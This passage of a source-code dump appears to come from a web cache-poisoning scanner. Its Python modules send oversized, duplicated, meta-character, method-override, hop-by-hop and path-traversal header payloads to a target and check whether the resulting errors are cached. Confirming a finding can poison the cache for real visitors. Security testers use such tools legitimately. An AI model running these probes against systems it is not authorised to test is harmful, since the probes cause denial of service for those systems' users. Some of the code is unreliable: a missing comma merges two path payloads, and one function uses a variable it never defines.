allow_redirects=False, 87 | auth=authent, 88 | timeout=10, 89 | ) 90 | req_verify = s.get( 91 | url, verify=False, allow_redirects=False, auth=authent, timeout=10 92 | ) 93 | # print(f"{req.status_code} :: {req_verify.status_code}") 94 | if ( 95 | len(req.content) == len(req_verify.content) 96 | and len(req_verify.content) != main_len 97 | ): 98 | behavior = True 99 | for rh in req_verify.headers: 100 | if "age" in rh.lower() or "hit" in req_verify.headers[rh].lower(): 101 | confirmed = True 102 | cache_status = True 103 | elif len(req.content) != len(req_verify.content): 104 | for rh in req_verify.headers: 105 | if "age" in rh.lower(): 106 | behavior = True 107 | cache_status = True 108 | else: 109 | behavior = True 110 | cache_status = False 111 | 112 | cache_status = ( 113 | f"\033[31m {cache_status} \033[0m" 114 | if not cache_status 115 | else f"\033[32m {cache_status} \033[0m" 116 | ) 117 | if confirmed: 118 | print( 119 | f" {Identify.confirmed} | CPDoSError {main_len}b > {len(req.content)}b | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk}" 120 | ) 121 | behavior = False 122 | elif behavior: 123 | print( 124 | f" {Identify.behavior} | CPDoSError {main_len}b > {len(req.content)}b | CACHETAG : {cache_status} | \033[34m{url}\033[0m | PAYLOAD: {pk if len(pk) < 60 else pk[0:60]}" 125 | ) 126 | 127 | 128 | def cpdos_main(url, s, initial_response, authent, human): 129 | main_status_code = initial_response.status_code 130 | main_len = len(initial_response.content) 131 | 132 | blocked = 0 133 | for pk in payloads_keys: 134 | # pk = pk.encode(encoding='UTF-8') 135 | uri = f"{url}{random.randrange(99999)}" 136 | try: 137 | req = s.get( 138 | uri, 139 | headers=pk, 140 | verify=False, 141 | auth=authent, 142 | timeout=10, 143 | allow_redirects=False, 144 | ) 145 | len_req = len(req.content) 146 | 147 | if req.status_code == 888: 148 | print( 149 | f" {Identify.behavior} | CPDoSError 888 response | CACHETAG: N/A | \033[34m{url}\033[0m | PAYLOAD: {pk}" 150 | ) 151 | check_cached_status(uri, s, pk, main_status_code, authent) 152 | elif req.status_code == 403 or req.status_code == 429: 153 | uri_403 = f"{url}{random.randrange(999)}" 154 | req_403_test = requests.get( 155 | uri_403, 156 | verify=False, 157 | auth=authent, 158 | timeout=10, 159 | allow_redirects=False, 160 | ) 161 | if req_403_test.status_code == 403 or req_403_test.status_code == 429: 162 | blocked += 1 163 | 164 | elif ( 165 | blocked < 3 166 | and req.status_code != 200 167 | and main_status_code not in [403, 401] 168 | and req.status_code != main_status_code 169 | ): 170 | # print(f"[{main_status_code}>{req.status_code}] [{len(main_status_code.headers)}b>{len(req.headers)}b] [{len(main_status_code.content)}b>{len(req.content)}b] {url} :: {pk}") 171 | check_cached_status(uri, s, pk, main_status_code, authent) 172 | elif blocked < 3 and req.status_code == main_status_code: 173 | if len(str(main_len)) <= 5 and main_len not in range( 174 | len_req - 1000, len_req + 1000 175 | ): 176 | check_cached_len(uri, s, pk, main_len, authent) 177 | elif len(str(main_len)) > 5 and main_len not in range( 178 | len_req - 10000, len_req + 10000 179 | ): 180 | check_cached_len(uri, s, pk, main_len, authent) 181 | human_time(human) 182 | 183 | if len(list(pk.values())[0]) < 50 and len(list(pk.keys())[0]) < 50: 184 | sys.stdout.write(f"\033[34m {pk}\033[0m\r") 185 | sys.stdout.write("\033[K") 186 | except KeyboardInterrupt: 187 | print("Exiting") 188 | sys.exit() 189 | except Exception as e: 190 | logger.exception(e) 191 | uri = url 192 | -------------------------------------------------------------------------------- /modules/cpdos/hbh.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Attempts to find Hop-By-Hop Header abuse 6 | https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers 7 | """ 8 | 9 | from modules.utils import requests, generate_cache_buster, configure_logger, human_time, Identify 10 | from modules.lists import header_list 11 | 12 | logger = configure_logger(__name__) 13 | 14 | VULN_NAME = "Hop-By-Hop" 15 | 16 | CONTENT_DELTA_RANGE = 500 17 | BIG_CONTENT_DELTA_RANGE = 1000 18 | 19 | MAX_SAMPLE_STATUS = 3 20 | MAX_SAMPLE_CONTENT = 3 21 | 22 | 23 | def cache_poisoning( 24 | url, s, parameters, response_1, response_2, authentication, headers 25 | ): 26 | """Function to test for cache poisoning""" 27 | 28 | response_3 = s.get( 29 | url, 30 | params=parameters, 31 | auth=authentication, 32 | allow_redirects=False, 33 | verify=False, 34 | timeout=10, 35 | ) 36 | 37 | reason = "" 38 | if ( 39 | response_3.status_code == response_2.status_code 40 | and response_3.status_code != response_1.status_code 41 | and response_3.status_code != 429 42 | ): 43 | reason = ( 44 | f"DIFFERENT STATUS-CODE {response_1.status_code} > {response_3.status_code}" 45 | ) 46 | if ( 47 | response_3 48 | and response_3.content 49 | and len(response_3.content) == len(response_2.content) 50 | and len(response_3.content) != len(response_1.content) 51 | and response_3.status_code != 429 52 | ): 53 | reason = f"DIFFERENT RESPONSE LENGTH {len(response_1.content)}b > {len(response_3.content)}b" 54 | 55 | if reason: 56 | payload = f"Connection: {headers['Connection']}" 57 | print( 58 | f" {Identify.confirmed} | {VULN_NAME} | \033[34m{response_2.url}\033[0m | {reason} | PAYLOAD: {payload}" 59 | ) 60 | #print(response_3.headers) 61 | #print(response_3.text) 62 | 63 | 64 | def HBH( 65 | url, 66 | s, 67 | initial_response, 68 | authent, 69 | human, 70 | max_sample_status=MAX_SAMPLE_STATUS, 71 | max_sample_content=MAX_SAMPLE_CONTENT, 72 | ): 73 | """Function to test for Hop by Hop vulnerabilities""" 74 | 75 | logger.debug("Testing for %s vulnerabilities", VULN_NAME) 76 | 77 | response_1 = initial_response 78 | 79 | response_2_previous_status = 0 80 | response_2_count_status_code = 0 81 | 82 | response_2_previous_size = 0 83 | response_2_count_size = 0 84 | 85 | for header in header_list: 86 | headers = {"Connection": f"keep-alive, {header}"} 87 | parameters = {"cacheBuster": generate_cache_buster()} 88 | try: 89 | response_2 = s.get( 90 | url, 91 | headers=headers, 92 | params=parameters, 93 | auth=authent, 94 | allow_redirects=False, 95 | verify=False, 96 | timeout=10, 97 | ) 98 | logger.debug("return: %s", response_2) # DEBUG 99 | logger.debug(response_2_previous_status) # DEBUG 100 | 101 | if response_2.status_code not in ( 102 | response_2_previous_status, 103 | response_1.status_code, 104 | ): 105 | response_2_previous_status = response_2.status_code 106 | response_2_count_status_code = 0 107 | else: 108 | response_2_count_status_code += 1 109 | 110 | logger.debug(response_2_count_status_code) 111 | 112 | if ( 113 | len(response_2.content) != response_2_previous_size 114 | and len(response_2.content) != 0 115 | ): 116 | response_2_previous_size = len(response_2.content) 117 | response_2_count_size = 0 118 | else: 119 | response_2_count_size += 1 120 | 121 | behavior = "" 122 | if ( 123 | response_1.status_code != response_2.status_code 124 | and response_2.status_code not in [429, 403] 125 | and response_1.status_code not in [301, 302, 429, 403] 126 | and response_2_count_status_code < max_sample_status 127 | ): 128 | behavior = f"DIFFERENT STATUS-CODE {response_1.status_code} > {response_2.status_code}" 129 | 130 | len_main = len(response_1.content) 131 | range_exlusion = range(len_main - CONTENT_DELTA_RANGE, len_main + CONTENT_DELTA_RANGE) if len_main < 10000 else range(len_main - BIG_CONTENT_DELTA_RANGE, len_main + BIG_CONTENT_DELTA_RANGE) 132 | 133 | if ( 134 | len(response_1.content) not in range_exlusion 135 | and response_2.status_code not in [429, 403] 136 | and response_1.status_code not in [301, 302, 429, 403] 137 | and response_2_count_size < max_sample_content 138 | ): 139 | behavior = f"DIFFERENT RESPONSE LENGTH {len_main}b > {len(response_2.content)}b" 140 | 141 | if behavior: 142 | payload = f"Connection: {headers['Connection']}" 143 | print( 144 | f" {Identify.behavior} | {VULN_NAME} | \033[34m{response_2.url}\033[0m | {behavior} | PAYLOAD: {payload}" 145 | ) 146 | cache_poisoning( 147 | url, s, parameters, response_1, response_2, authent, headers 148 | ) 149 | human_time(human) 150 | 151 | except requests.exceptions.ConnectionError as e: 152 | logger.exception(e) 153 | 154 | print(f" \033[34m {VULN_NAME} : {headers}\033[0m\r", end="") 155 | print("\033[K", end="") 156 | -------------------------------------------------------------------------------- /modules/cpdos/hhcn.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Attempts to find Cache Poisoning with Host Header Case Normalization (HHCN) 6 | https://youst.in/posts/cache-key-normalization-denial-of-service/ 7 | """ 8 | 9 | from modules.utils import random, requests, get_domain_from_url, configure_logger, Identify 10 | 11 | logger = configure_logger(__name__) 12 | 13 | VULN_NAME = "Host Header Case Normalization" 14 | 15 | CONTENT_DELTA_RANGE = 500 16 | 17 | def random_domain_capitalization(url): 18 | """Randomly capitalize characters from the url domain""" 19 | domain = get_domain_from_url(url) 20 | 21 | index = random.randint(0, len(domain) - 3) 22 | letter = domain[index] 23 | if letter != "." or letter != "-": 24 | letter = domain[index].upper() 25 | else: 26 | letter = letter - 1 27 | letter = domain[index].upper() 28 | domain = domain[:index] + letter + domain[index + 1 :] 29 | return domain 30 | 31 | 32 | def HHCN(url, s, main_response, authent, content_delta_range=CONTENT_DELTA_RANGE): 33 | """Attempts to find Cache Poisoning with Host Header Case Normalization""" 34 | 35 | logger.debug("Testing for %s vulnerabilities", VULN_NAME) 36 | 37 | headers = {"Host": random_domain_capitalization(url)} 38 | payload = f"PAYLOAD: {headers}" 39 | 40 | try: 41 | main_response_size = len(main_response.content) 42 | 43 | probe = s.get( 44 | url, 45 | headers=headers, 46 | verify=False, 47 | timeout=10, 48 | auth=authent, 49 | allow_redirects=False, 50 | ) 51 | probe_size = len(probe.content) 52 | behavior = "" 53 | if not (main_response_size - content_delta_range < probe_size < main_response_size + content_delta_range) or (main_response.status_code != probe.status_code): 54 | if len(probe.headers) > 0: 55 | for rf in probe.headers: 56 | if "cache" in rf.lower() or "age" in rf.lower(): 57 | for _ in range(10): 58 | req_hhcn_bis = s.get( 59 | url, 60 | headers=headers, 61 | verify=False, 62 | timeout=10, 63 | auth=authent, 64 | allow_redirects=False, 65 | ) 66 | else: 67 | req_hhcn_bis = s.get( 68 | url, 69 | headers=headers, 70 | verify=False, 71 | timeout=10, 72 | auth=authent, 73 | allow_redirects=False, 74 | ) 75 | break; 76 | else: 77 | req_hhcn_bis = s.get( 78 | url, 79 | headers=headers, 80 | verify=False, 81 | timeout=10, 82 | auth=authent, 83 | allow_redirects=False, 84 | ) 85 | if not ( 86 | main_response_size - content_delta_range 87 | < probe_size 88 | < main_response_size + content_delta_range 89 | ): 90 | behavior = ( 91 | f"DIFFERENT RESPONSE LENGTH | {main_response_size}b > {probe_size}b" 92 | ) 93 | print( 94 | f" {Identify.behavior} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}" 95 | ) 96 | 97 | if main_response.status_code != probe.status_code: 98 | behavior = ( 99 | f"DIFFERENT STATUS-CODE | {main_response_size}b > {probe_size}b" 100 | ) 101 | print( 102 | f" {Identify.behavior} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}" 103 | ) 104 | 105 | control = s.get(url, verify=False, timeout=10, auth=authent) 106 | 107 | if behavior and len(req_hhcn_bis.content) == len(control.content) and len(control.content) != main_response_size: 108 | behavior = f"DIFFERENT RESPONSE LENGTH | {main_response_size}b > {len(control.content)}b" 109 | print( 110 | f" {Identify.confirmed} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}" 111 | ) 112 | 113 | if behavior and req_hhcn_bis.status_code == control.status_code and control.status_code != main_response.status_code: 114 | behavior = f"DIFFERENT STATUS-CODE | {main_response.status_code} > {control.status_code}" 115 | print( 116 | f" {Identify.confirmed} | HHCN | \033[34m{url}\033[0m | {behavior} | {payload}" 117 | ) 118 | 119 | print(f" \033[34m {VULN_NAME} : {headers}\033[0m\r", end="") 120 | print("\033[K", end="") 121 | except requests.exceptions.ConnectionError as e: 122 | logger.exception(e) 123 | -------------------------------------------------------------------------------- /modules/cpdos/hho.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Attempts to find Cache Poisoning with HTTP Header Oversize (HHO) 6 | https://cpdos.org/#HHO 7 | """ 8 | 9 | from modules.utils import requests, configure_logger, human_time 10 | 11 | logger = configure_logger(__name__) 12 | 13 | VULN_NAME = "HTTP Header Oversize" 14 | 15 | def HHO(url, s, main_response, authent, human): 16 | """ 17 | Perform a Header Oversize Denial of Service (HHO DOS) attack on the given URL. 18 | 19 | This function attempts to detect and confirm a vulnerability by sending oversized headers 20 | to the target URL and observing the response status codes. If a specific error status code 21 | is detected, it indicates a potential vulnerability. 22 | 23 | Args: 24 | url (str): The target URL to test. 25 | s (requests.Session): The session object to use for making requests. 26 | main_response (requests.Response): The initial response from the target URL. 27 | authent (tuple): Authentication credentials (username, password) for the target URL. 28 | 29 | Returns: 30 | None 31 | """ 32 | error_detected = False 33 | max_iterations = 200 34 | iteration = 0 35 | main_status_code = main_response.status_code 36 | 37 | big_value = "Big-Value-0" 38 | 39 | while iteration < max_iterations and not error_detected: 40 | big_value = big_value + "0" * 50 41 | h = {f"X-Oversized-Header-{iteration}": f"{big_value}"} 42 | 43 | try: 44 | probe = s.get( 45 | url, headers=h, auth=authent, allow_redirects=False, verify=False, timeout=10 46 | ) 47 | 48 | logger.debug( 49 | "STATUS (%s)\nHeaders :(%s)", 50 | probe.status_code, 51 | h, 52 | ) 53 | 54 | if ( 55 | probe.status_code in [400, 413, 500, 502] 56 | and probe.status_code != main_status_code 57 | ): 58 | logger.debug( 59 | "CPDOS : URL (%s) STATUS (%s) Headers :(%s)", 60 | url, 61 | probe.status_code, 62 | probe.headers, 63 | ) 64 | error_detected = True 65 | iteration += 1 66 | human_time(human) 67 | 68 | print( 69 | f" \033[34m {VULN_NAME} : X-Oversized-Header-{iteration}\033[0m\r", 70 | end="", 71 | ) 72 | print("\033[K", end="") 73 | 74 | except requests.exceptions.ConnectionError as e: 75 | logger.exception(e) 76 | 77 | if error_detected: 78 | try: 79 | verify = s.get(url, auth=authent, allow_redirects=False, verify=False, timeout=10) 80 | if ( 81 | verify.status_code in [400, 413, 500, 502] 82 | and verify.status_code != main_status_code 83 | ): 84 | reason = f"DIFFERENT STATUS-CODE {main_status_code} > {verify.status_code}" 85 | status = "\033[31m└── [VULNERABILITY CONFIRMED]\033[0m" 86 | else: 87 | reason = f"DIFFERENT STATUS-CODE {main_status_code} > {probe.status_code}" 88 | status = "\033[33m└── [INTERESTING BEHAVIOR]\033[0m" 89 | print(f" {status} | HHO DOS | \033[34m{url}\033[0m | {reason} | PAYLOAD: X-Oversized-Header-x: Big-Value-0*{len(big_value) - len('Big-Value-0')}") 90 | 91 | except requests.exceptions.ConnectionError as e: 92 | logger.exception(e) 93 | -------------------------------------------------------------------------------- /modules/cpdos/hmc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Attempts to find Cache Poisoning with HTTP Metachar Character (HMC) 6 | https://cpdos.org/#HMC 7 | """ 8 | 9 | from modules.utils import random, requests, configure_logger, human_time 10 | 11 | logger = configure_logger(__name__) 12 | 13 | VULN_NAME = "HTTP Meta Character" 14 | 15 | def check_meta_character(url, s, main_status_code, authent, meta_character, human): 16 | """Probe and Verify the server for a meta character vulnerability""" 17 | 18 | logger.debug("Testing for %s vulnerabilities", VULN_NAME) 19 | 20 | url = f"{url}{random.randrange(99)}" 21 | headers = {"X-Metachar-Header": meta_character} 22 | probe = s.get( 23 | url, 24 | headers=headers, 25 | timeout=10, 26 | verify=False, 27 | auth=authent, 28 | allow_redirects=False, 29 | ) 30 | 31 | reason = "" 32 | if probe.status_code in [400, 413, 500] and probe.status_code != main_status_code: 33 | control = s.get(url, verify=False, timeout=10, auth=authent) 34 | if ( 35 | control.status_code == probe.status_code 36 | and control.status_code != main_status_code 37 | ): 38 | reason = f"\033[34m{main_status_code} > {control.status_code}\033[0m" 39 | 40 | if reason: 41 | payload = f"PAYLOAD: {headers}" 42 | print( 43 | f"\033[31m └── [VULNERABILITY CONFIRMED]\033[0m | HMC | \033[34m{url}\033[0m | {reason} | {payload}" 44 | ) 45 | human_time(human) 46 | 47 | 48 | def HMC(url, s, req_main, authent, human): # pylint: disable=invalid-name 49 | """Prepare the list of meta characters to check for""" 50 | main_status_code = req_main.status_code 51 | 52 | meta_characters = [ 53 | r"\n", 54 | r"\a", 55 | r"\r", 56 | r"\0", 57 | r"\b", 58 | r"\e", 59 | r"\v", 60 | r"\f", 61 | r"\u0000", 62 | "\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07\x07metahttptest", 63 | ] 64 | for meta_character in meta_characters: 65 | try: 66 | check_meta_character(url, s, main_status_code, authent, meta_character, human) 67 | 68 | except requests.exceptions.ConnectionError as e: 69 | logger.exception(e) 70 | 71 | print( 72 | f" \033[34m {VULN_NAME} : {meta_character.encode(encoding='UTF-8')}\033[0m\r", 73 | end="", 74 | ) 75 | print("\033[K", end="") 76 | -------------------------------------------------------------------------------- /modules/cpdos/hmo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Attempts to find Cache Poisoning with HTTP Method Override (HMO) 6 | https://cpdos.org/#HMO 7 | """ 8 | 9 | from modules.utils import requests, random, configure_logger, human_time 10 | 11 | logger = configure_logger(__name__) 12 | 13 | VULN_NAME = "HTTP Method Override" 14 | 15 | CONTENT_DELTA_RANGE = 500 16 | BIG_CONTENT_DELTA_RANGE = 5000 17 | 18 | def HMO(url, s, initial_response, authent, human): 19 | """Function to test for HTTP Method Override vulnerabilities""" 20 | 21 | logger.debug("Testing for %s vulnerabilities", VULN_NAME) 22 | 23 | methods = [ 24 | "GET", 25 | "POST", 26 | "PATCH", 27 | "PUT", 28 | "DELETE", 29 | "HEAD", 30 | "TRACE", 31 | "HELP", 32 | "OPTIONS", 33 | "CONNECT", 34 | "PURGE", 35 | "RESUME", 36 | "SEARCH", 37 | "MERGE", 38 | "LOCK", 39 | "UNLOCK", 40 | "SYNC", 41 | "ARCHIVE", 42 | "CLONE", 43 | "ROLLBACK", 44 | "EXECUTE", 45 | "INTROSPECT", 46 | "NONSENSE", 47 | ] 48 | 49 | hmo_headers = [ 50 | "HTTP-Method-Override", 51 | "X-HTTP-Method-Override", 52 | "X-Method-Override", 53 | "Method-Override", 54 | "X-HTTP-Method", 55 | "HTTP-Method", 56 | ] 57 | 58 | main_status_code = initial_response.status_code 59 | main_len = len(initial_response.content) 60 | 61 | for header, method in ( 62 | (header, method) for header in hmo_headers for method in methods 63 | ): 64 | uri = f"{url}{random.randrange(999)}" 65 | try: 66 | probe_headers = {header: method} 67 | print(f" \033[34m {VULN_NAME} : {probe_headers}\033[0m\r", end="") 68 | print("\033[K", end="") 69 | probe = s.get( 70 | uri, 71 | headers=probe_headers, 72 | verify=False, 73 | timeout=10, 74 | auth=authent, 75 | allow_redirects=False, 76 | ) 77 | human_time(human) 78 | 79 | range_exlusion = range(main_len - CONTENT_DELTA_RANGE, main_len + CONTENT_DELTA_RANGE) if main_len < 10000 else range(main_len - BIG_CONTENT_DELTA_RANGE, main_len + BIG_CONTENT_DELTA_RANGE) 80 | #print(range_exlusion) 81 | 82 | if probe.status_code != main_status_code and probe.status_code not in [ 83 | main_status_code, 84 | 429, 403 85 | ]: 86 | reason = ( 87 | f"DIFFERENT STATUS-CODE {main_status_code} > {probe.status_code}" 88 | ) 89 | status = "\033[33m└── [INTERESTING BEHAVIOR]\033[0m" 90 | elif len(probe.content) != main_len and len(probe.content) not in range_exlusion: 91 | reason = ( 92 | f"DIFFERENT RESPONSE LENGTH {main_len}b > {len(probe.content)}b" 93 | ) 94 | #print(probe.content) 95 | status = "\033[33m└── [INTERESTING BEHAVIOR]\033[0m" 96 | elif probe.status_code == main_status_code and len(probe.content) in range_exlusion: 97 | continue 98 | 99 | for _ in range(15): 100 | probe = s.get( 101 | uri, 102 | headers=probe_headers, 103 | verify=False, 104 | timeout=10, 105 | auth=authent, 106 | allow_redirects=False, 107 | ) 108 | human_time(human) 109 | control = requests.get(uri, verify=False, headers={"User-agent": "xxxxx"}, timeout=10, auth=authent) 110 | #print(control) 111 | #print(probe) 112 | #print(len(control.content)) 113 | #print(len(probe.content)) 114 | if control.status_code == probe.status_code and control.status_code not in [ 115 | main_status_code, 116 | 429, 403 117 | ]: 118 | reason = ( 119 | f"DIFFERENT STATUS-CODE {main_status_code} > {control.status_code}" 120 | ) 121 | status = "\033[31m└── [VULNERABILITY CONFIRMED]\033[0m" 122 | 123 | if len(control.content) == len(probe.content) and len(probe.content) not in range_exlusion: 124 | reason = ( 125 | f"DIFFERENT RESPONSE LENGTH {main_len}b > {len(control.content)}b" 126 | ) 127 | #print(control.content) 128 | status = "\033[31m└── [VULNERABILITY CONFIRMED]\033[0m" 129 | 130 | if reason: 131 | print( 132 | f" {status} | HMO DOS | \033[34m{uri}\033[0m | {reason} | PAYLOAD: {probe_headers}" 133 | ) 134 | 135 | except requests.exceptions.ConnectionError as e: 136 | logger.exception(e) 137 | -------------------------------------------------------------------------------- /modules/cpdos/multiple_headers.py: -------------------------------------------------------------------------------- 1 | import http.client 2 | from urllib.parse import urlparse 3 | from modules.utils import requests, configure_logger, random, human_time, Identify 4 | from modules.lists import header_list 5 | 6 | VULN_NAME = "Multiple Headers" 7 | EXCLUDE_RESPONSE = [200, 301, 302, 403, 404, 307, 308, 303, 429] 8 | 9 | logger = configure_logger(__name__) 10 | 11 | def verify_cache_poisoning(VULN_TYPE, conn, url, payload, main_status_code, authent, host): 12 | cb = random.randrange(9999) 13 | res_status = 0 14 | try: 15 | for _ in range(5): 16 | conn.putrequest("GET", "/?CPDoS={}".format(cb)) 17 | conn.putheader("User-Agent", "xxxx") 18 | 19 | if VULN_TYPE == "RDH": 20 | conn.putheader("Referer", "xy") 21 | conn.putheader("Referer", "x") 22 | 23 | elif VULN_TYPE == "HDH": 24 | conn.putheader("Host", "{}".format(host)) 25 | conn.putheader("Host", "toto.com") 26 | 27 | else: 28 | conn.putheader(f"{VULN_TYPE}", "xxxx") 29 | conn.putheader(f"{VULN_TYPE}", "xxxx") 30 | 31 | conn.endheaders() 32 | response = conn.getresponse() 33 | res_status = response.status 34 | conn.close() 35 | #print(url) 36 | uri = f"{url}?CPDoS={cb}" 37 | #print(uri) 38 | req = requests.get(uri, auth=authent, timeout=10) 39 | if req.status_code == res_status and res_status != main_status_code: 40 | reason = f"DIFFERENT STATUS-CODE {main_status_code} > {response.status}" 41 | print( 42 | f" {Identify.confirmed} | {VULN_NAME} | \033[34m{uri}\033[0m | {reason} | PAYLOAD: {payload}" 43 | ) 44 | except Exception as e: 45 | logger.exception(e) 46 | 47 | 48 | def duplicate_headers(conn, url, mh, main_status_code, authent): 49 | #VULN_TYPE = "DH" 50 | cb = random.randrange(9999) 51 | 52 | try: 53 | conn.putrequest("GET", f"/?cb={cb}") 54 | conn.putheader("User-Agent", "xxxx") 55 | conn.putheader(f"{mh}", "xxxx") 56 | conn.putheader(f"{mh}", "xxxx") 57 | conn.endheaders() 58 | 59 | response = conn.getresponse() 60 | 61 | if response.status != main_status_code and response.status not in EXCLUDE_RESPONSE: 62 | #print(f"[{url}?cb={cb}] Statut : {response.status}, Raison : {response.reason}") 63 | for rh in response.headers: 64 | if "age" in rh.lower() or "hit" in rh.lower(): 65 | return response, cb 66 | else: 67 | conn.close() 68 | return False 69 | except Exception as e: 70 | return False 71 | 72 | 73 | 74 | def referer_duplicate_headers(conn, url, main_status_code, authent): 75 | #VULN_TYPE = "RDH" 76 | cb = random.randrange(9999) 77 | 78 | try: 79 | conn.putrequest("GET", "/?cb={}".format(cb)) 80 | conn.putheader("User-Agent", "xxxx") 81 | conn.putheader("Referer", "xy") 82 | conn.putheader("Referer", "x") 83 | conn.endheaders() 84 | 85 | response = conn.getresponse() 86 | if response.status != main_status_code and response.status not in EXCLUDE_RESPONSE: 87 | #print(f"[{url}?cb={cb}] Statut : {response.status}, Raison : {response.reason}") 88 | for rh in response.headers: 89 | if "age" in rh.lower() or "hit" in rh.lower(): 90 | return response, cb 91 | else: 92 | conn.close() 93 | return False 94 | except Exception as e: 95 | return False 96 | 97 | 98 | 99 | def host_duplicate_headers(conn, host, url, main_status_code, authent): 100 | #VULN_TYPE = "HDH" 101 | cb = random.randrange(9999) 102 | 103 | try: 104 | conn.putrequest("GET", "/?cb={}".format(cb)) 105 | conn.putheader("User-Agent", "xxxx") 106 | conn.putheader("Host", "{}".format(host)) 107 | conn.putheader("Host", "toto.com") 108 | conn.endheaders() 109 | 110 | response = conn.getresponse() 111 | if response.status != main_status_code and response.status not in EXCLUDE_RESPONSE: 112 | #print(f"[{url}?cb={cb}] Statut : {response.status}, Raison : {response.reason}") 113 | for rh in response.headers: 114 | if "age" in rh.lower() or "hit" in rh.lower(): 115 | return response, cb 116 | else: 117 | conn.close() 118 | return False 119 | except Exception as e: 120 | return False 121 | 122 | 123 | 124 | def MHC(url, req_main, authent, human): 125 | main_status_code = req_main.status_code 126 | try: 127 | parsed_url = urlparse(url) 128 | host = parsed_url.netloc 129 | if parsed_url.scheme == "https": 130 | conn = http.client.HTTPSConnection(host, timeout=10) 131 | else: 132 | conn = http.client.HTTPConnection(host, timeout=10) 133 | 134 | RDH = referer_duplicate_headers(conn, url, main_status_code, authent) 135 | HDH = host_duplicate_headers(conn, host, url, main_status_code, authent) 136 | 137 | mhc_res = ["RDH", "HDH"] 138 | 139 | for vuln_type in mhc_res: 140 | vuln_type_res = locals()[vuln_type] 141 | print(f" \033[34m {VULN_NAME} : {url}\033[0m\r", end="") 142 | print("\033[K", end="") 143 | if vuln_type_res != False and vuln_type_res != None: 144 | behavior = f"DIFFERENT STATUS-CODE {main_status_code} > {vuln_type_res[0].status}" 145 | 146 | if vuln_type == "RDH": 147 | payload = f"[Referer: xy, Referer: x]" 148 | elif vuln_type == "HDH": 149 | payload = f"[Host: {host}, Host: toto.com]" 150 | 151 | print( 152 | f" {Identify.behavior} | {VULN_NAME} | \033[34m{url}?cb={vuln_type_res[1]}\033[0m | {behavior} | PAYLOAD: {payload}" 153 | ) 154 | conn.close() 155 | verify_cache_poisoning(vuln_type, conn, url, payload, main_status_code, authent, host) 156 | 157 | #m_heads = ["Authorization", "Accept", "Content-Type", "Cookie", "X-Requested-With", "user-agent"] 158 | m_heads = header_list 159 | for mh in m_heads: 160 | DH = duplicate_headers(conn, url, mh, main_status_code, authent) 161 | if DH != False and DH != None: 162 | behavior = f"DIFFERENT STATUS-CODE {main_status_code} > {DH[0].status}" 163 | 164 | payload = f"[{mh}: xxxx, {mh}: xxxx]" 165 | 166 | print( 167 | f" {Identify.behavior} | {VULN_NAME} | \033[34m{url}?cb={DH[1]}\033[0m | {behavior} | PAYLOAD: {payload}" 168 | ) 169 | conn.close() 170 | verify_cache_poisoning(mh, conn, url, payload, main_status_code, authent, host) 171 | human_time(human) 172 | print(f" \033[34m {VULN_NAME} : {mh}\033[0m\r", end="") 173 | print("\033[K", end="") 174 | 175 | except Exception as e: 176 | logger.exception(e) 177 | -------------------------------------------------------------------------------- /modules/cpdos/path_traversal.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | From 0xrth research 6 | """ 7 | 8 | 9 | from modules.utils import random, requests, configure_logger, Identify 10 | import traceback 11 | try: 12 | import httpx 13 | except: 14 | print("httpx does not seem to be installed") 15 | 16 | logger = configure_logger(__name__) 17 | 18 | 19 | CONTENT_DELTA_RANGE = 500 20 | 21 | 22 | def verify(req_main, url, url_cb, url_test, completed_path, range_exlusion, p, s): 23 | try: 24 | completed_path = completed_path.encode("utf-8") 25 | url_with_raw_path = f"{url}{completed_path.decode('utf-8')}" if url[-1] == "/" else f"{url}/{completed_path.decode('utf-8')}" 26 | #print(url_with_raw_path) 27 | #print(url_with_raw_path) 28 | for _ in range(5): 29 | with httpx.Client(http2=False, verify=False) as client: 30 | req_verify = client.get(url_with_raw_path) 31 | 32 | req_cb = s.get(url_cb, verify=False, timeout=10, allow_redirects=False) 33 | #print(f"req_cb.status_code: {req_cb.status_code} | req_verify.status_code: {req_verify.status_code} | req_main.status_code: {req_main.status_code}") 34 | if req_cb.status_code == req_verify.status_code and req_cb.status_code != req_main.status_code: 35 | print(f" {Identify.confirmed} | CPDoSError {req_main.status_code} > {req_cb.status_code} | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}") 36 | elif len(req_cb.content) not in range_exlusion and req_test.status_code not in [403, 401, 429]: 37 | print(f" {Identify.confirmed} | CPDoSError {len(req_main.content)}b > {len(req_cb.content)}b | \033[34m{url_cb}\033[0m | PAYLOAD: {url_test}") 38 | except requests.Timeout: 39 | #print(f"request timeout {url} {p}") 40 | pass 41 | except Exception as e: 42 | #traceback.print_exc() 43 | pass 44 | 45 | 46 | 47 | def path_traversal_check(url, s, req_main, authent): 48 | try: 49 | range_exlusion = range(len(req_main.content) - CONTENT_DELTA_RANGE, len(req_main.content) + CONTENT_DELTA_RANGE) 50 | paths = [ 51 | "cc\\..\\", 52 | "cc/../", 53 | "cc/%2e%2e%2f" 54 | "cc%2e%2e/", 55 | "cc%2f..%2f", 56 | "cc/..\\", 57 | "cc/..;/", 58 | ] 59 | for p in paths: 60 | cb = f"?cb={random.randrange(999)}" 61 | 62 | completed_path = f"{p}{cb}" 63 | url_test = f"{url}{p}{cb}" if url[-1] == "/" else f"{url}/{p}{cb}" 64 | url_cb = f"{url}{cb}" 65 | 66 | req_test = s.get(url_test, verify=False, timeout=10, allow_redirects=False) 67 | if req_test.status_code != req_main.status_code and req_test.status_code not in [403, 401, 429]: 68 | 